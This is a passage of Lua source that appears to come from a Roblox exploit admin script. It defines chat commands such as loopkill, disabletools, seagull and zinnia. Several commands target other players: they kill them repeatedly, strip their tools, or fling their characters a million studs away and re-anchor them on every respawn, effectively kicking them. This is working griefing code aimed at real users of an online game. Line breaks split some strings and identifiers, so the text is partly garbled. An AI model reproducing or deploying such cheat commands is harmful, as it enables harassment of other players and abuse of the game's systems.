for _, child in pairs( workspace:GetChildren()) do
if child:FindFirstChild('isdummy') then
child:Destroy()
end
end
end)
addcmd('dummy','Make a dummy(usage: ;dummy name)',{},
function(args, speaker)
local name = GLS(false, 0)
local lchar = game:GetService('Players').LocalPlayer
local Model0 = Instance.new("Model")
local Part1 = Instance.new("Part")
local SpecialMesh2 = Instance.new("SpecialMesh")
local Decal3 = Instance.new("Decal")
local Part4 = Instance.new("Part")
local Motor5 = Instance.new("Motor")
local Motor6 = Instance.new("Motor")
local Motor7 = Instance.new("Motor")
local Motor8 = Instance.new("Motor")
local Motor9 = Instance.new("Motor")
local Part10 = Instance.new("Part")
local Part11 = Instance.new("Part")
local Part12 = Instance.new("Part")
local Part13 = Instance.new("Part")
local dum = Instance.new("BoolValue")
dum.Name = "isdummy"
dum.Parent = Model0
local Humanoid14 = Instance.new("Humanoid")
Model0.Name = name
Model0.Parent = workspace
Model0.PrimaryPart = Part1
Part1.Name = "Head"
Part1.Parent = Model0
Part1.BrickColor = BrickColor.new("Bright yellow")
Part1.CanCollide = false
Part1.FormFactor = Enum.FormFactor.Symmetric
Part1.Friction = 0
Part1.Size = Vector3.new(2, 1, 1)
Part1.CFrame = CFrame.new(3.49000192, 4.49999905, 7.75, 1, 0, 0, 0, 1,
0, 0, 0, 1)
Part1.TopSurface = Enum.SurfaceType.Smooth
Part1.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part1.Position = Vector3.new(3.49000192, 4.49999905, 7.75)
Part1.Color = Color3.new(0.960784, 0.803922, 0.188235)
SpecialMesh2.Parent = Part1
SpecialMesh2.Scale = Vector3.new(1.25, 1.25, 1.25)
SpecialMesh2.Scale = Vector3.new(1.25, 1.25, 1.25)
Decal3.Name = "face"
Decal3.Parent = Part1
Decal3.Texture = "rbxasset://textures/face.png"
Part4.Name = "Torso"
Part4.Parent = Model0
Part4.BrickColor = BrickColor.new("Bright blue")
Part4.CanCollide = false
Part4.FormFactor = Enum.FormFactor.Symmetric
Part4.Friction = 0
Part4.Size = Vector3.new(2, 2, 1)
Part4.CFrame = CFrame.new(3.49000192, 2.99999905, 7.75, 1, 0, 0, 0, 1,
0, 0, 0, 1)
Part4.LeftSurface = Enum.SurfaceType.Weld
Part4.RightSurface = Enum.SurfaceType.Weld
Part4.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part4.Position = Vector3.new(3.49000192, 2.99999905, 7.75)
Part4.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Motor5.Name = "Right Shoulder"
Motor5.Parent = Part4
Motor5.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
Motor5.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
Motor5.Part0 = Part4
Motor5.Part1 = Part11
Motor5.DesiredAngle = 0.083800852298737
Motor5.MaxVelocity = 0.15000000596046
Motor6.Name = "Left Shoulder"
Motor6.Parent = Part4
Motor6.C0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Motor6.C1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Motor6.Part0 = Part4
Motor6.Part1 = Part10
Motor6.DesiredAngle = 0.083800852298737
Motor6.MaxVelocity = 0.15000000596046
Motor7.Name = "Left Hip"
Motor7.Parent = Part4
Motor7.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Motor7.C1 = CFrame.new(-0.5, 1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Motor7.Part0 = Part4
Motor7.Part1 = Part12
Motor7.DesiredAngle = -0.083800852298737
Motor7.MaxVelocity = 0.10000000149012
Motor8.Name = "Neck"
Motor8.Parent = Part4
Motor8.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Motor8.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Motor8.Part0 = Part4
Motor8.Part1 = Part1
Motor8.MaxVelocity = 0.10000000149012
Motor9.Name = "Right Hip"
Motor9.Parent = Part4
Motor9.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
Motor9.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
Motor9.Part0 = Part4
Motor9.Part1 = Part13
Motor9.DesiredAngle = -0.083800852298737
Motor9.MaxVelocity = 0.10000000149012
Part10.Name = "Left Arm"
Part10.Parent = Model0
Part10.BrickColor = BrickColor.new("Bright yellow")
Part10.CanCollide = false
Part10.FormFactor = Enum.FormFactor.Symmetric
Part10.Size = Vector3.new(1, 2, 1)
Part10.CFrame = CFrame.new(1.99000192, 2.99999905, 7.75, 1, 0, 0, 0, 1,
0, 0, 0, 1)
Part10.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part10.Position = Vector3.new(1.99000192, 2.99999905, 7.75)
Part10.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part11.Name = "Right Arm"
Part11.Parent = Model0
Part11.BrickColor = BrickColor.new("Bright yellow")
Part11.CanCollide = false
Part11.FormFactor = Enum.FormFactor.Symmetric
Part11.Size = Vector3.new(1, 2, 1)
Part11.CFrame = CFrame.new(4.99000168, 2.99999905, 7.75, 1, 0, 0, 0, 1,
0, 0, 0, 1)
Part11.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part11.Position = Vector3.new(4.99000168, 2.99999905, 7.75)
Part11.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part12.Name = "Left Leg"
Part12.Parent = Model0
Part12.BrickColor = BrickColor.new("Br. yellowish green")
Part12.CanCollide = false
Part12.FormFactor = Enum.FormFactor.Symmetric
Part12.Size = Vector3.new(1, 2, 1)
Part12.CFrame = CFrame.new(2.99000192, 0.999999046, 7.75, 1, 0, 0, 0,
1, 0, 0, 0, 1)
Part12.BottomSurface = Enum.SurfaceType.Smooth
Part12.Color = Color3.new(0.643137, 0.741176, 0.278431)
Part12.Position = Vector3.new(2.99000192, 0.999999046, 7.75)
Part12.Color = Color3.new(0.643137, 0.741176, 0.278431)
Part13.Name = "Right Leg"
Part13.Parent = Model0
Part13.BrickColor = BrickColor.new("Br. yellowish green")
Part13.CanCollide = false
Part13.FormFactor = Enum.FormFactor.Symmetric
Part13.Size = Vector3.new(1, 2, 1)
Part13.CFrame = CFrame.new(3.99000192, 0.999999046, 7.75, 1, 0, 0, 0,
1, 0, 0, 0, 1)
Part13.BottomSurface = Enum.SurfaceType.Smooth
Part13.Color = Color3.new(0.643137, 0.741176, 0.278431)
Part13.Position = Vector3.new(3.99000192, 0.999999046, 7.75)
Part13.Color = Color3.new(0.643137, 0.741176, 0.278431)
Humanoid14.Parent = Model0
Humanoid14.RightLeg = Part13
Humanoid14.LeftLeg = Part12
Humanoid14.Torso = Part4

Model0:MoveTo(game:GetService('Players').LocalPlayer.Character:GetModelCFrame().p)
Model0.Parent = game:GetService('Workspace')
end)

addcmd('loopkill', 'rip person',{'lkill'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if not FindTable(loopkillT, _players[v].Name) then
table.insert(loopkillT, _players[v].Name)
if FindTable(SPC, args[1]) then Notify('Loopkilling ' .. args[1])
else
Notify('Loopkilling player(s)') end end end end)

addcmd('unloopkill', 'un rip person',{'unlkill'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if FindTable(loopkillT, _players[v].Name) then
table.remove(loopkillT, GetInTable(loopkillT, _players[v].Name))
if FindTable(SPC, args[1]) then Notify('No longer loopkilling
' .. args[1]) else
Notify('No longer loopkilling player(s)') end end end end)

addcmd('disabletools', 'removes their tools',{'loopremovetools'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if not FindTable(disabletoolsT, _players[v].Name) then
table.insert(disabletoolsT, _players[v].Name)
if FindTable(SPC, args[1]) then Notify('Disabled tools for ' ..
args[1]) else
Notify('Disabled tools for player(s)') end end end end)

addcmd('enabletools', 'lets them have tools',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if FindTable(disabletoolsT, _players[v].Name) then
table.remove(disabletoolsT, GetInTable(disabletoolsT,
_players[v].Name)) wait(0.1) refresh(_players[v])
if FindTable(SPC, args[1]) then Notify('Enabled tools for
' ..args[1]) else
Notify('Enabled tools for player(s)') end end end end)

addcmd('refresh', 'refresh their player model',{'re'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
refresh(_players[v])
end end)

local fastwait = function(time)


local expire = tick()+(time or 0.02999999999999999889)
while game:GetService("RunService").Heartbeat:wait() do
if tick() >= expire then return true end
end
end

function gull(name)
spawn(function()
local char = game:GetService("Players")[name].Character
char.PrimaryPart = char.HumanoidRootPart

local tors = game:GetService("Players")[name].Character.HumanoidRootPart


local initCFrame = tors.CFrame

if char:FindFirstChild("Torso") then
char.Torso.Anchored = true
else
char.UpperTorso.Anchored = true
end
char:FindFirstChildOfClass("Humanoid").Name = "Sad"

local gull = Instance.new("Part")


gull.Anchored = true
gull.CanCollide = false
gull.Position = Vector3.new(0,100000,0)
local mesh = Instance.new("SpecialMesh",gull)
mesh.MeshId = "http://www.roblox.com/asset/?id=272501436"
mesh.TextureId = "http://www.roblox.com/asset/?id=267684509"
mesh.Scale = Vector3.new(10,10,10)

local leftWing = Instance.new("Part",gull)


leftWing.CanCollide = false
local lmesh = Instance.new("SpecialMesh",leftWing)
lmesh.MeshId = "http://www.roblox.com/asset/?id=267684584"
lmesh.TextureId = "http://www.roblox.com/asset/?id=267684509"
lmesh.Scale = Vector3.new(10,10,10)
local leftMotor = Instance.new("Motor6D",gull)
leftMotor.MaxVelocity = 1
leftMotor.Part0 = gull
leftMotor.Part1 = leftWing
leftMotor.C0 = CFrame.new(-50.2919998, -0.0920021087, 0.280000001)

local rightWing = Instance.new("Part",gull)


rightWing.CanCollide = false
local rmesh = Instance.new("SpecialMesh",rightWing)
rmesh.MeshId = "http://www.roblox.com/asset/?id=267684651"
rmesh.TextureId = "http://www.roblox.com/asset/?id=267684509"
rmesh.Scale = Vector3.new(10,10,10)
local rightMotor = Instance.new("Motor6D",gull)
rightMotor.MaxVelocity = 1
rightMotor.Part0 = gull
rightMotor.Part1 = rightWing
rightMotor.C0 = CFrame.new(47.1930008, -0.0670021027, 0.280000001)

local sound = Instance.new("Sound",gull)


sound.SoundId = "rbxassetid://160877039"
sound.Volume = 10
gull.Parent = workspace

for i = 400,-1000,-2 do
local der = 0.02*i
local angle = math.atan(der/1)
gull.CFrame = initCFrame*CFrame.Angles(angle,math.pi,0) +
initCFrame.lookVector * (i+5) + Vector3.new(0,0.01*i^2+7,0)
if i == 0 then sound:Play() end
if i <= 0 then
char:SetPrimaryPartCFrame(gull.CFrame)
local nextAngle = -0.2*math.sin(0.05*math.pi*(i))
leftMotor.DesiredAngle = -nextAngle
leftMotor.C0 = CFrame.new(-50.2919998,
47.193*math.tan(nextAngle), 0.280000001)
rightMotor.DesiredAngle = nextAngle
rightMotor.C0 = CFrame.new(47.1930008,
47.193*math.tan(nextAngle), 0.280000001)
end
game:GetService("RunService").RenderStepped:wait()
end

local function KICK(P)


spawn(function()
if not FindTable(WL, P.Name) then
for i = 1,5 do
if P.Character and P.Character:FindFirstChild('HumanoidRootPart')
then
P.Character.HumanoidRootPart.CFrame =
CFrame.new(math.random(999000, 1001000), 1000000, 1000000)
local SP = Instance.new('SkateboardPlatform', P.Character)
SP.Position = P.Character.HumanoidRootPart.Position SP.Transparency = 1
spawn(function()
repeat wait()
if P.Character and
P.Character:FindFirstChild('HumanoidRootPart') then SP.Position =
P.Character.HumanoidRootPart.Position end
until not
game:GetService("Players"):FindFirstChild(P.Name)
end)
P.Character.HumanoidRootPart.Anchored = true
end
end
end
end)
end

if char:FindFirstChild("Torso") then
char.Torso.Anchored = false
else
char.UpperTorso.Anchored = false
end

spawn(function()
if game:GetService("Players")[name] == game:GetService("Players").LocalPlayer
then wait(5) end
game:GetService("Players")[name].CharacterAdded:Connect(function()
wait()
KICK(game:GetService("Players")[name])
end)
KICK(game:GetService("Players")[name])
end)

local go = Instance.new("BodyVelocity",gull)
go.Velocity = Vector3.new(0,1000,0)
go.MaxForce = Vector3.new(1000000,1000000,1000000)
gull.Anchored = false
end)
end

addcmd('seagull', 'seagulls player',{'gull'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
gull(gPlayers[v].Name)
end
end)

local song = nil


function zinniaKick(name)
spawn(function()
if song == nil or song.Parent == nil then
song = Instance.new("Sound",workspace)
song.SoundId = "rbxassetid://190423831"
song.Volume = 1
song.Looped = true
song:Play()
end
local zin = Instance.new("Part")
zin.Name = "CuteZinnia"
zin.Anchored = true
zin.CanCollide = false
zin.Locked = true
local mesh = Instance.new("SpecialMesh")
mesh.MeshId = "rbxassetid://1175670539"
mesh.TextureId = "rbxassetid://1175670558"
mesh.Scale = Vector3.new(0.05,0.05,0.05)
mesh.Offset = Vector3.new(0,0.88,0)
mesh.Parent = zin
local char = game:GetService("Players")[name].Character
char.PrimaryPart = char.HumanoidRootPart
if char:FindFirstChild("Torso") then
char.Torso.Anchored = true
else
char.UpperTorso.Anchored = true
end
zin.CFrame = (char.HumanoidRootPart.CFrame +
char.HumanoidRootPart.CFrame.lookVector*50) * CFrame.Angles(0,math.pi,0) +
Vector3.new(0,500,0) + (char:FindFirstChild("UpperTorso") and Vector3.new(0,0.9,0)
or Vector3.new(0,0,0))
zin.Parent = workspace
local tween =
game:GetService("TweenService"):Create(zin,TweenInfo.new(3,Enum.EasingStyle.Quart,E
num.EasingDirection.Out,0,false,0),{CFrame = zin.CFrame - Vector3.new(0,500,0)})
tween:Play()
fastwait(3)
for i = 50,1,-1 do
zin.CFrame = (char.HumanoidRootPart.CFrame +
char.HumanoidRootPart.CFrame.lookVector*i) * CFrame.Angles(0,math.pi,0) +
(char:FindFirstChild("UpperTorso") and Vector3.new(0,0.9,0) or Vector3.new(0,0,0))
fastwait()
end
char:SetPrimaryPartCFrame(zin.CFrame +
CFrame.Angles(0,math.pi/2,0)*zin.CFrame.lookVector*3.5 + Vector3.new(0,3,0))
fastwait(1)
local turns = 0

while turns < 200 do


zin.CFrame = zin.CFrame*CFrame.Angles(0,(-math.pi/3)*turns/200,0)
char:SetPrimaryPartCFrame(zin.CFrame +
CFrame.Angles(0,math.pi/2,0)*zin.CFrame.lookVector*3.5 + Vector3.new(0,3,0))
turns = turns + 1
fastwait()
end
for i = 1,10 do
zin.CFrame = zin.CFrame*CFrame.Angles(0,(-math.pi/3)*turns/200,0)
char:SetPrimaryPartCFrame(zin.CFrame +
CFrame.Angles(0,math.pi/2,0)*zin.CFrame.lookVector*3.5 + Vector3.new(0,3,0))
fastwait()
end
local rX,rZ = 0,0
repeat rX = math.random(-10000,10000) until math.abs(rX) > 5000
repeat rZ = math.random(-10000,10000) until math.abs(rZ) > 5000
local bv = Instance.new("BodyForce",char.HumanoidRootPart)
bv.Force = Vector3.new(rX,10000,rZ)
if char:FindFirstChild("Torso") then
char.Torso.Anchored = false
else
char.UpperTorso.Anchored = false
end
function KICK(P)
spawn(function()
if not FindTable(WL, P.Name) then
for i = 1,5 do
if P.Character and
P.Character:FindFirstChild('HumanoidRootPart') then
P.Character.HumanoidRootPart.CFrame =
CFrame.new(math.random(999000, 1001000), 1000000, 1000000)
local SP =
Instance.new('SkateboardPlatform', P.Character) SP.Position =
P.Character.HumanoidRootPart.Position SP.Transparency = 1
spawn(function()
repeat fastwait()
if P.Character and
P.Character:FindFirstChild('HumanoidRootPart') then SP.Position =
P.Character.HumanoidRootPart.Position end
until not
game:GetService("Players"):FindFirstChild(P.Name)
end)
P.Character.HumanoidRootPart.Anchored =
true
end
end
end
end)
end
spawn(function()
if game:GetService("Players")[name] ==
game:GetService("Players").LocalPlayer then fastwait(10) else fastwait(5) end
game:GetService("Players")
[name].CharacterAdded:Connect(function()
fastwait()
KICK(game:GetService("Players")[name])
end)
KICK(game:GetService("Players")[name])
end)
for i = 1,20 do
zin.CFrame =
zin.CFrame*CFrame.Angles(0,(-math.pi/3)*turns/200,0)
fastwait()
end
while turns > 0 do
zin.CFrame =
zin.CFrame*CFrame.Angles(0,(-math.pi/3)*turns/200,0)
turns = turns - 5
fastwait()
end
fastwait(1)
zin.Name = "GoneZinnia"
local go = Instance.new("BodyVelocity",zin)
go.Velocity = zin.CFrame.lookVector * 100
go.MaxForce = Vector3.new(1000000,1000000,1000000)
zin.Anchored = false
fastwait(20)
if song and not workspace:FindFirstChild("CuteZinnia") then
song:Destroy()
song = nil
end
end)
end

addcmd('zinnia', 'asdf for moon',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
zinniaKick(gPlayers[v].Name)
end
end)

addcmd('rainbowname', 'color spam their name tag',{'rname'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if not FindTable(rainbowT, _players[v].Name) then
table.insert(rainbowT, _players[v].Name)
if FindTable(SPC, args[1]) then Notify('Gave ' ..args[1].. '
rainbow name') else
Notify('Gave player(s) rainbow name') end end end end)

addcmd('unrainbowname', 'removes their colorful name',{'unrname'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if FindTable(rainbowT, _players[v].Name) then
table.remove(rainbowT, GetInTable(rainbowT, _players[v].Name))
_players[v].Neutral = true
if FindTable(SPC, args[1]) then Notify('Disabled rainbow name for
' ..args[1]) else
Notify('Disabled rainbow name for player(s)') end end end end)

addcmd('terrain', 'gives you terrain tools',{'tt'},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
--Terrain Script
--Edge/IoIman616

for _, child in pairs( gPlayers.LocalPlayer.PlayerGui:GetChildren()) do


if child.Name == "MaterialGui" then
child:Destroy()
end
end

function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
HopperBin0 = Instance.new("HopperBin")
HopperBin0.Name = "Terrain Build"
HopperBin0.Parent = mas
for i,v in pairs(mas:GetChildren()) do
v.Parent = game:GetService("Players").LocalPlayer.Backpack
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end

wait(0.01)

function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
ScreenGui0 = Instance.new("ScreenGui")
ImageLabel1 = Instance.new("ImageLabel")
ImageButton2 = Instance.new("ImageButton")
Frame3 = Instance.new("Frame")
NumberValue4 = Instance.new("NumberValue")
ImageButton5 = Instance.new("ImageButton")
Frame6 = Instance.new("Frame")
NumberValue7 = Instance.new("NumberValue")
ImageButton8 = Instance.new("ImageButton")
Frame9 = Instance.new("Frame")
NumberValue10 = Instance.new("NumberValue")
ImageButton11 = Instance.new("ImageButton")
Frame12 = Instance.new("Frame")
NumberValue13 = Instance.new("NumberValue")
ImageButton14 = Instance.new("ImageButton")
Frame15 = Instance.new("Frame")
NumberValue16 = Instance.new("NumberValue")
ImageButton17 = Instance.new("ImageButton")
Frame18 = Instance.new("Frame")
NumberValue19 = Instance.new("NumberValue")
ImageButton20 = Instance.new("ImageButton")
Frame21 = Instance.new("Frame")
NumberValue22 = Instance.new("NumberValue")
ImageButton23 = Instance.new("ImageButton")
Frame24 = Instance.new("Frame")
NumberValue25 = Instance.new("NumberValue")
ImageButton26 = Instance.new("ImageButton")
Frame27 = Instance.new("Frame")
NumberValue28 = Instance.new("NumberValue")
ImageButton29 = Instance.new("ImageButton")
Frame30 = Instance.new("Frame")
NumberValue31 = Instance.new("NumberValue")
ImageButton32 = Instance.new("ImageButton")
Frame33 = Instance.new("Frame")
NumberValue34 = Instance.new("NumberValue")
ImageButton35 = Instance.new("ImageButton")
Frame36 = Instance.new("Frame")
NumberValue37 = Instance.new("NumberValue")
ImageButton38 = Instance.new("ImageButton")
Frame39 = Instance.new("Frame")
NumberValue40 = Instance.new("NumberValue")
ImageButton41 = Instance.new("ImageButton")
Frame42 = Instance.new("Frame")
NumberValue43 = Instance.new("NumberValue")
ImageButton44 = Instance.new("ImageButton")
Frame45 = Instance.new("Frame")
NumberValue46 = Instance.new("NumberValue")
ImageButton47 = Instance.new("ImageButton")
Frame48 = Instance.new("Frame")
NumberValue49 = Instance.new("NumberValue")
ImageButton50 = Instance.new("ImageButton")
Frame51 = Instance.new("Frame")
NumberValue52 = Instance.new("NumberValue")
ImageButton53 = Instance.new("ImageButton")
Frame54 = Instance.new("Frame")
ScreenGui0.Name = "MaterialGui"
ScreenGui0.Parent = mas
ImageLabel1.Name = "MaterialMenu"
ImageLabel1.Parent = ScreenGui0
ImageLabel1.Transparency = 1
ImageLabel1.Size = UDim2.new(0, 100, 0, 450)
ImageLabel1.Position = UDim2.new(0, 0, 1, -550)
ImageLabel1.BackgroundTransparency = 1
ImageLabel1.ZIndex = 2
ImageLabel1.Image = "rbxasset://textures/ui/MaterialMenu.png"
ImageButton2.Name = "Grass"
ImageButton2.Parent = ImageLabel1
ImageButton2.Transparency = 1
ImageButton2.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton2.Position = UDim2.new(0.0700000003, 0, 0.0599999987, 0)
ImageButton2.BackgroundTransparency = 1
ImageButton2.ZIndex = 4
ImageButton2.Image = "http://www.roblox.com/asset/?id=56563112"
Frame3.Name = "Selection"
Frame3.Parent = ImageButton2
Frame3.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame3.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame3.BackgroundColor3 = Color3.new(1, 1, 1)
Frame3.BorderSizePixel = 0
Frame3.ZIndex = 3
NumberValue4.Name = "num"
NumberValue4.Parent = ImageButton2
NumberValue4.Value = 1
ImageButton5.Name = "Sand"
ImageButton5.Parent = ImageLabel1
ImageButton5.Transparency = 1
ImageButton5.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton5.Position = UDim2.new(0.524545431, 0, 0.0599999987, 0)
ImageButton5.BackgroundTransparency = 1
ImageButton5.ZIndex = 4
ImageButton5.Image = "http://www.roblox.com/asset/?id=62356652"
Frame6.Name = "Selection"
Frame6.Parent = ImageButton5
Frame6.Transparency = 1
Frame6.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame6.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame6.BackgroundColor3 = Color3.new(1, 1, 1)
Frame6.BackgroundTransparency = 1
Frame6.BorderSizePixel = 0
Frame6.ZIndex = 3
NumberValue7.Name = "num"
NumberValue7.Parent = ImageButton5
NumberValue7.Value = 2
ImageButton8.Name = "Brick"
ImageButton8.Parent = ImageLabel1
ImageButton8.Transparency = 1
ImageButton8.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton8.Position = UDim2.new(0.0700000003, 0, 0.161010101, 0)
ImageButton8.BackgroundTransparency = 1
ImageButton8.ZIndex = 4
ImageButton8.Image = "http://www.roblox.com/asset/?id=65961537"
Frame9.Name = "Selection"
Frame9.Parent = ImageButton8
Frame9.Transparency = 1
Frame9.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame9.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame9.BackgroundColor3 = Color3.new(1, 1, 1)
Frame9.BackgroundTransparency = 1
Frame9.BorderSizePixel = 0
Frame9.ZIndex = 3
NumberValue10.Name = "num"
NumberValue10.Parent = ImageButton8
NumberValue10.Value = 3
ImageButton11.Name = "Granite"
ImageButton11.Parent = ImageLabel1
ImageButton11.Transparency = 1
ImageButton11.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton11.Position = UDim2.new(0.524545431, 0, 0.161010101, 0)
ImageButton11.BackgroundTransparency = 1
ImageButton11.ZIndex = 4
ImageButton11.Image = "http://www.roblox.com/asset/?id=67532153"
Frame12.Name = "Selection"
Frame12.Parent = ImageButton11
Frame12.Transparency = 1
Frame12.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame12.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame12.BackgroundColor3 = Color3.new(1, 1, 1)
Frame12.BackgroundTransparency = 1
Frame12.BorderSizePixel = 0
Frame12.ZIndex = 3
NumberValue13.Name = "num"
NumberValue13.Parent = ImageButton11
NumberValue13.Value = 4
ImageButton14.Name = "Asphalt"
ImageButton14.Parent = ImageLabel1
ImageButton14.Transparency = 1
ImageButton14.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton14.Position = UDim2.new(0.0700000003, 0, 0.2620202, 0)
ImageButton14.BackgroundTransparency = 1
ImageButton14.ZIndex = 4
ImageButton14.Image = "http://www.roblox.com/asset/?id=67532038"
Frame15.Name = "Selection"
Frame15.Parent = ImageButton14
Frame15.Transparency = 1
Frame15.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame15.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame15.BackgroundColor3 = Color3.new(1, 1, 1)
Frame15.BackgroundTransparency = 1
Frame15.BorderSizePixel = 0
Frame15.ZIndex = 3
NumberValue16.Name = "num"
NumberValue16.Parent = ImageButton14
NumberValue16.Value = 5
ImageButton17.Name = "Iron"
ImageButton17.Parent = ImageLabel1
ImageButton17.Transparency = 1
ImageButton17.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton17.Position = UDim2.new(0.524545431, 0, 0.2620202, 0)
ImageButton17.BackgroundTransparency = 1
ImageButton17.ZIndex = 4
ImageButton17.Image = "http://www.roblox.com/asset/?id=67532093"
Frame18.Name = "Selection"
Frame18.Parent = ImageButton17
Frame18.Transparency = 1
Frame18.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame18.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame18.BackgroundColor3 = Color3.new(1, 1, 1)
Frame18.BackgroundTransparency = 1
Frame18.BorderSizePixel = 0
Frame18.ZIndex = 3
NumberValue19.Name = "num"
NumberValue19.Parent = ImageButton17
NumberValue19.Value = 6
ImageButton20.Name = "Aluminum"
ImageButton20.Parent = ImageLabel1
ImageButton20.Transparency = 1
ImageButton20.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton20.Position = UDim2.new(0.0700000003, 0, 0.363030314, 0)
ImageButton20.BackgroundTransparency = 1
ImageButton20.ZIndex = 4
ImageButton20.Image = "http://www.roblox.com/asset/?id=67531995"
Frame21.Name = "Selection"
Frame21.Parent = ImageButton20
Frame21.Transparency = 1
Frame21.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame21.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame21.BackgroundColor3 = Color3.new(1, 1, 1)
Frame21.BackgroundTransparency = 1
Frame21.BorderSizePixel = 0
Frame21.ZIndex = 3
NumberValue22.Name = "num"
NumberValue22.Parent = ImageButton20
NumberValue22.Value = 7
ImageButton23.Name = "Gold"
ImageButton23.Parent = ImageLabel1
ImageButton23.Transparency = 1
ImageButton23.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton23.Position = UDim2.new(0.524545431, 0, 0.363030314, 0)
ImageButton23.BackgroundTransparency = 1
ImageButton23.ZIndex = 4
ImageButton23.Image = "http://www.roblox.com/asset/?id=67532118"
Frame24.Name = "Selection"
Frame24.Parent = ImageButton23
Frame24.Transparency = 1
Frame24.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame24.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame24.BackgroundColor3 = Color3.new(1, 1, 1)
Frame24.BackgroundTransparency = 1
Frame24.BorderSizePixel = 0
Frame24.ZIndex = 3
NumberValue25.Name = "num"
NumberValue25.Parent = ImageButton23
NumberValue25.Value = 8
ImageButton26.Name = "Plank"
ImageButton26.Parent = ImageLabel1
ImageButton26.Transparency = 1
ImageButton26.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton26.Position = UDim2.new(0.0700000003, 0, 0.464040399, 0)
ImageButton26.BackgroundTransparency = 1
ImageButton26.ZIndex = 4
ImageButton26.Image = "http://www.roblox.com/asset/?id=67532015"
Frame27.Name = "Selection"
Frame27.Parent = ImageButton26
Frame27.Transparency = 1
Frame27.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame27.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame27.BackgroundColor3 = Color3.new(1, 1, 1)
Frame27.BackgroundTransparency = 1
Frame27.BorderSizePixel = 0
Frame27.ZIndex = 3
NumberValue28.Name = "num"
NumberValue28.Parent = ImageButton26
NumberValue28.Value = 9
ImageButton29.Name = "Log"
ImageButton29.Parent = ImageLabel1
ImageButton29.Transparency = 1
